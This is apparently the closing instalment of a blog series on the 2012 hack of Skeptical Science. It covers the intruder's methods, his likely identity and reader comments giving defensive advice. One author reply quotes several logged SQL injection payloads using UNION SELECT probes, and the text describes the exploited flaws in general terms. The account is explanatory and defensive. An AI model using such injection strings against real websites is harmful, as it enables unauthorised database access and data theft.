Interestingly, with nothing of real substance in the hacked material, most of the conversation focused not on the contents of the hack itself, but instead on whether or not it was a hack or a "leak." Some people seemed to think that Skeptical Science had purposely released the data, while pretending that it was a hack-leak. What possible purpose that could have served, I cannot fathom, but it does provide further insight into the conspiratorial thinking amongst pseudo-skeptics. Others uncritically accepted the hacker's claim that it was a leak, and that Skeptical Science had foolishly left the hacked material in an easily accessible place. As their sole evidence of this, they accepted the unintelligible SQL injection log file pointed to by the hacker, even though no one had ever publicly seen the forum itself.
...it took two full days to penetrate the site...
The reality, of course, is that the hacker invested considerable time, effort and skill into prying the data out of the Skeptical Science web site. It didn't happen easily, it required hacking skills that clearly belonged to an experienced hacker, and it took two full days to penetrate the site, and even more than that to generate the release of data the hacker wanted.
So a very, very small group of climate change dismissives, calling themselves "skeptics," engaged in a minor, meaningless skirmish in the Subterranean War that climate change dismissives have been waging relentlessly for the past decade.
David Lightman: [typing] Is this a game... or is it real?
Joshua: What's the difference?
— Wargames (1983) —
A Leak or a Hack?
So was it a leak or a hack? A leak is the result of information released by an insider, a member of an organization who decides that the direction of the organization is against his own moral compass. Who was the insider?
A leak is the result of information released by an insider...
A hack is when an outsider uses tricks and perseverance to force his way into a system, to steal data, and then to release that stolen data to public view.
The intent of the hack into Skeptical Science was ultimately to try to embarrass or discredit the people from whom the data was stolen.
In that, the hacker failed. There just aren’t that many people who are interested in the inner workings of Skeptical Science. Those who were looked and looked, and all they could come up with were a handful of quotes which, when presented entirely out of the context of the conversation in which they were made, looked like the emotional reactions of someone getting annoyed.
That was it. In two years of conversations, all the dumpster divers could find were dry exchanges about the science, or loose banter about cricket matches, or critical corrections to upcoming blog posts.
A hack is when an outsider uses tricks and perseverance to force his way into a system, to steal data...
The Pentagon was hacked in 2011, as admitted by the U.S. Department of Defense. Zendesk was hacked in February 2013. Adobe, a major software provider, was hacked in October of 2013. Target was hacked in November of 2013. Las Vegas Sands Corporation was hacked in Februrary, 2014.
The list of large, well-funded and well-staffed organizations who have been hacked is endless, in that it is ongoing. Every month someone else gets hacked. Perfecting a system's security, and maintaining that security, is an ongoing, complex task.
If someone really wants to get in badly enough — and our hacker invested more than 25 hours of time to do so — they will probably find a way.
Skeptical Science was created by an army of one, John Cook. John received some small aid from Doug Bostrom in further securing the site, but efforts were interrupted by an injury Doug suffered, and he was only just returning to the scene when the hack occurred. Today, Skeptical Science is maintained and improved by an army of three; John, Doug and myself.
In the end, the most valuable aspect of the release to the hacker lay in the SQL injection log file. It helped to support a convenient but laughably ridiculous fiction, the idea that someone within Skeptical Science had purposely made the contents of the forum publicly available. That statement is weakly supported by the fact that the hacker had, in fact, opened the forum to the public himself — testing his success by registering three pages on the Wayback Machine Internet archive — even though no one ever visited the forum while it was open, and not one person has ever stepped forward to say that they had public access to the forum without being a member.
To call the hack a leak, even before seeing the details presented in this series of posts, is entirely comical.
...not one person has ever stepped forward to say that they had public access to the forum without being a member.
The hack did reveal a number of holes in the site’s security. No one hole was all that bad, but when all of them were exploited, one after the other, it created the danger which resulted in the contents of the forum being exposed by the hacker.
The unsecured image upload feature was probably the most damaging flaw, but not surprising. The feature was only available to trusted authors, and a PHP restriction is not necessarily something any programmer would think about when designing it. Even if one had, might it have been realized that a system could also support other, unused programming languages and extensions, like Python or perl? Skeptical Science has also changed web hosts, and therefore methods and capabilities, several times. Would someone remember to revisit this particular functionality every time the vulnerabilities changed, because a new web host offers an unused language that a previous web host did not?
The super admin function helped the hacker to upgrade his user ID, but in the end he didn’t use it for anything except that. One way or another, the site would have required a way for administrators to upgrade other users to become moderators or authors, so that flaw was ultimately meaningless.
The SQL injection logs were only found after the hacker was in, and were only used as a subterfuge, to distract the gullible from the nature of his intrusion. The fact that the SQL injection protections were incomplete is unsurprising, given the number of different pages present in the site and the many different methods an attack could employ. That one page was left vulnerable, and the hacker was determined enough to find it through hundreds of attempts, speaks more to the perseverance and intent of the hacker than the programmer.
And yet, exploiting these vulnerabilities required that the hacker put in almost nine consecutive hours of intensive work one day, followed by almost six hours the next.
The re-login functionality was certainly the worst oversight, but again that functionality was implemented in 2007, before the CRU hack, before Skeptical Science had known any success, and before any capabilities worth hacking even existed. When it was created, the most a hacker could do would be to leave a comment as someone else, or maybe corrupt a few blog posts.
This is the main source of most vulnerabilities in any software; code that was written before any vulnerabilities mattered, and then it was forgotten as times changed and the system changed around it.
I’ve already explained that any number of these mistakes might be based on the fact that John created the site almost entirely on his own, in his spare time, without any expectation that some day there would be legions of people in denial who would do whatever they could to discredit him.
On the other hand, there are many, many sites like this in production, developed by teams of developers. The reality is that many of the mistakes John made are repeated, day after day, by programmers who don’t really know much better. The people who do know better don’t get paid to write the code, and rarely bother to read and review it. If a company doesn’t hire security experts to review their code, to try to hack into their systems, or both, they’ll probably be shocked one day to find that their systems contain dangerous vulnerabilities.
And yet, exploiting these vulnerabilities required that the hacker put in almost nine consecutive hours of intensive work one day, followed by almost six hours the next. It took a lot of work, time, skill, experience, effort and motivation to hack into the system.
The hacker spent more than twenty five hours of time hacking, along with unknown hours reviewing and coding.
Two days later he spent another three hours trying to open up the forum to public view. Then he engaged in another hour on March 5th, and another on March 9th, uploading programs to download the database. From then on, every single day for two weeks, he visited the site to grab the latest SQL injection log files.
On top of all of that, he invested unknown amounts of time offline, studying the hacked data, loading and updating his copies of the database, writing programs to read and load the SQL injection files, modifying programs to access the data, reading forum threads, and further modifying the forum programs to display things in the way he ultimately chose to release the data.
The hacker put a lot of time into this — time that might have been better used studying and understanding the science of climate change.
The hacker spent more than twenty five hours of time actually hacking, alongwith unknown hours reviewing and coding. All of this effort, culminating in the release of two years of conversations, studied and dissected by dozens of self-named "skeptics," resulted in…
Nothing.
Detective Del Spooner: What if I'm right?
Lt. John Bergin: [sighs] Well, then I guess we're gonna miss the good old days.
Detective Del Spooner: What good old days?
Lt. John Bergin: When people were killed by *other people*.
— I, Robot (2004) —
2014 — The Subterranean War
The war on climate science and climate scientists has been stumbling forward for years. One British hereditary aristocrat impersonated a delegate at an international climate conference, so that he could publicly spout his non-scientific point of view. The current, conservative Canadian government unilaterally and haphazardly closed federal science libraries, losing and destroying mountains of irreplaceable data. Dr. Michael Mann has been hounded by more than one self-proclaimed auditor, eager attorney general and inspired journalist, over a study which was published nearly 16 years ago.
The war on climate science and climate scientists has been stumbling forward for years.
The Climate Research Unit at East Anglia University was hacked, private e-mails were released, and the effort at misrepresenting them and presenting quotes out of context was somewhat successful, at least with an uncritical subset of the population. It sought to cast doubt on the credibility of not only the scientists directly included in the hack, but by association all climate scientists, everywhere.
Climate change dismissives lack even the faintest whiff of valid science to support their position, but what they lack in facts and knowledge, they more than make up for in vitriol and hungry abuse.
What did the hack do? Almost nothing. Skeptical Science is not the IPCC. It’s not a climate scientist, let alone an entire group of them. We are an entirely volunteer group, initiated and organized by one person, John Cook, and motivated by an understanding of the science coupled with a recognition of how serious an issue climate change is. Skeptical Science does its part. It helps people to understand the science, and the vacuous and illogical nature of the pseudo-skeptics' claims.
Did it hurt? Yes, in a minor, purely personal way.
Did it hurt? Yes, in a minor, purely personal way. It caused embarrassment to a few people, who said confidential things, in private, that were never meant to be broadcast to the world. Were those things in any way useful to climate dismissives? No. They were just personally embarrassing. Did it prove that Skeptical Science is engaged in a propaganda war, misrepresents the truth, or is funded by well-heeled businessmen bent on world domination? No.
Did it hurt Doug, and John, and me? Yes. It sucked time out of our lives.
Did it hurt Skeptical Science as a web site? No. As a climate change information source? No.
Chrome, Accounting Program: Who does he calculate he is?
— Tron (1982) —
Identity
I don’t actually believe that the hacker is German. He could be. He possibly wanted us to think so, or maybe he's just proud of his German heritage. He chose “dieter” as his first user name, and hijacked another user, again a German name, "toralf", for his last. His other user name, "francois," is similarly European, although French rather than German.
One other factor lies in one peculiar IP address, out of all of those that he used. 77.22.67.251 was used on the second day of the hack, February 21st, to download the 71 megabyte dump of the entire database. What is peculiar about that particular IP is that it is not now a Tor relay node. It was only a Tor relay node from February 10th to the 22nd — the day after the hacker's most successful and important intrusion.
That address is an ordinary, home IP address in Braunschweig, Germany. Project Honeypot, which logs IP addresses reported for spamming, shows that that IP address was used for spamming in that period. It might have been a machine that was hijacked by the hacker himself, or by another hacker. It could also have been his own line, temporarily set up as a Tor node, to improve his speed of access.
There's no way to know.
His obsession with Heartland suggests that he might be an American, or at least an American-style climate change dismissive.
We can take an educated guess at his time zone, based on his hours of activity. The only hours of the day that he did not have any activity at all (that we could find and recognize) were 6 and 7 PM AEDT. If one assumes that the most likely hours of complete inactivity would be anywhere from 3 AM to 5 AM, this suggests a U.S. Eastern time zone or one adjacent (U.S. Central).
The bottom line, however, is that there is virtually no way to catch a hacker who is careful, and who does not otherwise betray himself by bragging about his efforts, or making some detectable mistake.
Lt. Parker Barnes: Game Over.
— Virtuosity (1995) —
March 24, 2012 — 9:51 AM AEDT — Epilogue
The German, if I may take the liberty of still calling him that, sat down to hack into Skeptical Science for the last time. He still used Tor, but avoided his older “dieter”, "francois", and “test” user IDs, choosing instead to log in using another ID, one he'd stolen from someone else. It was one that already had author capabilities and so would have access to the private parts of the forum. He'd selected it from the full user list that he had, a user ID that had been inactive for many months prior to the hack.
The user name was "toralf", and the e-mail was for Toralf Staud, a German journalist.
He didn't steal the password. He simply used his easy re-login trick, a hole which would not ultimately be secured for a few more days.
First, The German tried to download the most recent SQL injection log, to update his database, but received a 404 "resource not found" error for his trouble. John had turned that off. Then he used his re-login trick to sign in with the Toralf Staud Id.
The hacker repeatedly tried to view the forum, but it was empty. He tried to go directly into first the General Chat topic, and then a specific thread, the one labelled “Sks was hacked.” Both gave him errors. The forum had already been moved. There was nothing left at Skeptical Science to see.
I imagine that he closed the browser window and never returned, at least in any fashion that would be recognized in the logs. The German's visits to Skeptical Science — at least as a hacker — were finished.
Master Control Program: End of Line.
— Tron (1982) —
Bob, you did it! I "project" your series is going to become the most read SkS posts in a "long time" (sorry, read too much J. Curry stuff). You missed your profession as a science writer ... Hat tip!
A very well told explanation! Fascinating.
Can someone create a single page with a summary and links to the whole story so it can be linked to and referenced easily, rather than linking to the 7 pieces as is required now?
[BL] I'll look at doing that. I have to make some simple programming changes, first, but when they're done I'll create it and add links to the separate parts to the "Table of Contents" that links to all 7 parts.
[BL] Try this: A Hack By Any Other Name — Index. I'll add links to it to all 7 posts, and fill out the timeline... eventually. It's a bit of a chore, but I'll get there.
Realy KUDOS to you, guys !!! What a great job you do here!
This comment may be somewhat 'late in the day' but of value anyway (I think). SQL injection is the one of the real dangers of interactive websites, and protecting against it adequiately requires multiple levels of defence.
1. All user input needs to be checked to detect possible injections. Having backend code that looks at each user input for specific pairs of SQL commands, such as 'select' and 'into'; 'delete' and 'from' etc will enable such input to be discarded. And when such input is detected, take the user to the home page; better this than displaying a page telling the hacker that their attempt has been foiled, which may cause them to redouble their efforts. The code that checks for specific pairs of SQL commands should also check for possible scripting syntax.
2. All interactions with the SQL database should be via parameterised queries. I noticed one comment regarding hack 3 (SQL Injection) that all interactions with the database should used stored procedures. That doesn't do the job; stored procedures may use parameterized queries, but can equally well construct SQL statements that use user input directly. Bad practice but still possible. Injection attacks are foiled completely via parameterized queries. Re-writing backend code to do this can take quite an effort if the code base is large. For .NET websites (which is what I code in) I wrote a program that autogenerates code for all DB interactions based on the DB schema; that code only ever uses parameterized queries to interact with the database.
3. The SQL database should be on a subnet entirely separate from the website subnet and access to the database subnet vie the internet should be prevented by the firewall. Access to the database computers should only be allowed via computers behind the firewall.
ZBblock (available free) does checks these things. If detected the connection is blocked. If the user redoubles efforts that IP is blocked from all '.php' scripts protected by ZBblock for a period of time. http://www.spambotsecurity.com/zbblock.php
I've used it since 2011, and include some custom scripts for extra security. (Sometimes my custom stuff goes overboard. But SkS wouldn't be required to add my extra experimental blocks.) Had SkS been using this in 2012, it would have blocked many of the queries above, particularly those including things like "union" and "select".
ZBblock also has a 'block Tor' feature which can be activated by setting that feature "on", and in anycase, many Tor IPs get blocked even without checking that setting because they are on large server farms that rend space to lots of hackers and scrapers. Connections from certain serverfarms are almost never real people, blocking results in few false positives.
Whether or not SkS had chosen to use the "Tor" block, using ZBBlock would have at least slowed the hacker, it seems to me was likely using a 'fingerprinting' type script. These things are widely available and using them a hacker need not expend much "human" trying systematic variations of queries or keeping track of which resulted in useful information. Anyway, it seems to me the order of operations seems very much like a script that arrived and started testing the first '....php?query=something' item visible in the the html, and seemed to visit the posts that appeared on the front page and so on. That's pretty much what a script would do.
Something like ZBblock might have derailed the script entirely-- by giving it miscues it couldn't interpret. It might have derailed the hacker who, though motivated to hack, may not have been interested in working very hard at it. Possibly, if his script worked while he was sipping Red Bull and playing online games: great! If not: no big deal.
That said: given given the large number of security holes, maybe he would have succeeded but more slowly. Presumably you've closed most of these holes. I would still suggest using ZBblock. It's free. Easy to use. And gives a layer of protection.
[BL] No. The attack was absolutely not scripted. We see attacks such as those on a weekly basis, and their patterns are clear and indisputable. The hacker's SQL injection, by contrast, inconsistently tried combinations first on one page or parameter, then another, then returned to the first page, then looked at other pages without trying anything, and so on. He also didn't try every parameter or even every numeric parameter on every page, only some, and he didn't always stick to numeric parameters (he occasionally tried string parameters, but only randomly and occasionally).
The bouncing around, the non-systematic use of parameter values, the variety of delays in activities, all point unequivocally to the active involvement of a living human being.
In addition, he was almost always using "GET" parameters (values which are appended to the URL itself, and so are visible to a person in the address bar without reading the HTML code of the web page). 99% of scripted attacks use post parameters (by scanning the HTML code for forms and input fields, usually login or search pages). The use of GET parameters, while it can be (and is sometimes) scripted, is far more indicative of a person, who can click a link, look at the resulting URL, and then play with it (selectively and intelligently).
Scripted attacks also tend to use easily detected (by a program) results. The script can't easily look at a page to determine if the attack worked, so they include code like this:
SELECT * FROM argument WHERE ArgumentId = '16 and 5=6 union select 0x5E5B7D7E --'
SELECT * FROM argument WHERE ArgumentId = '16' and 5=6 union select 0x5E5B7D7E -- And '6'='6'
SELECT * FROM argument WHERE ArgumentId = '16 and 5=6 union select 0x5E5B7D7E,0x5E5B7D7E --'
SELECT * FROM argument WHERE ArgumentId = '16' and 5=6 union select 0x5E5B7D7E,0x5E5B7D7E -- And '6'='6'
That is, of course, only one, brief and limited example. That attack went on for dozens of tries, and then tried again with slightly different syntax, and again and again. The 0x5E5B7D7E part displays ^[}~ if it succeeds. That's a character sequence that is very, very unlikely to appear on any page, and hence is easily detected by a program. If the program sees that show up in the page, the attack worked and a human gets involved. If it doesn't, the script moves on to the next combination (although it will cycle through this many times, increasing the number of SELECT parameters to match the original query, similar to the way the hacker did on February 20, 2012).
The attack on SkS was absolutely not scripted. Whether you like it or not, whether or not it fits into your pre-determined desire to see this hack as a leak or at worst an easy endeavor (so that you can shift the blame to SkS for having lax security, instead of the hacker)... the guy spent almost nine hours one day conducting SQL injection attacks, and another six hours the next day trolling the system and grabbing data and code. He then spent days and days continuing his hack.
No matter how you cut it, it took a whole lot of time and energy for SkS to be hacked. No matter how easy you want the hack to have been, it wasn't.
I think this hack, and the current hack of the widget, show both how effective SKS is in countering the AGW denial and obfuscation movement, and how marginal and thus how desperate that camp has become as they lose ground in the fight for popular opinion and influence on government policy. I expect it will get even more intense with the release of the AR5 WG2 report and the building El Nino.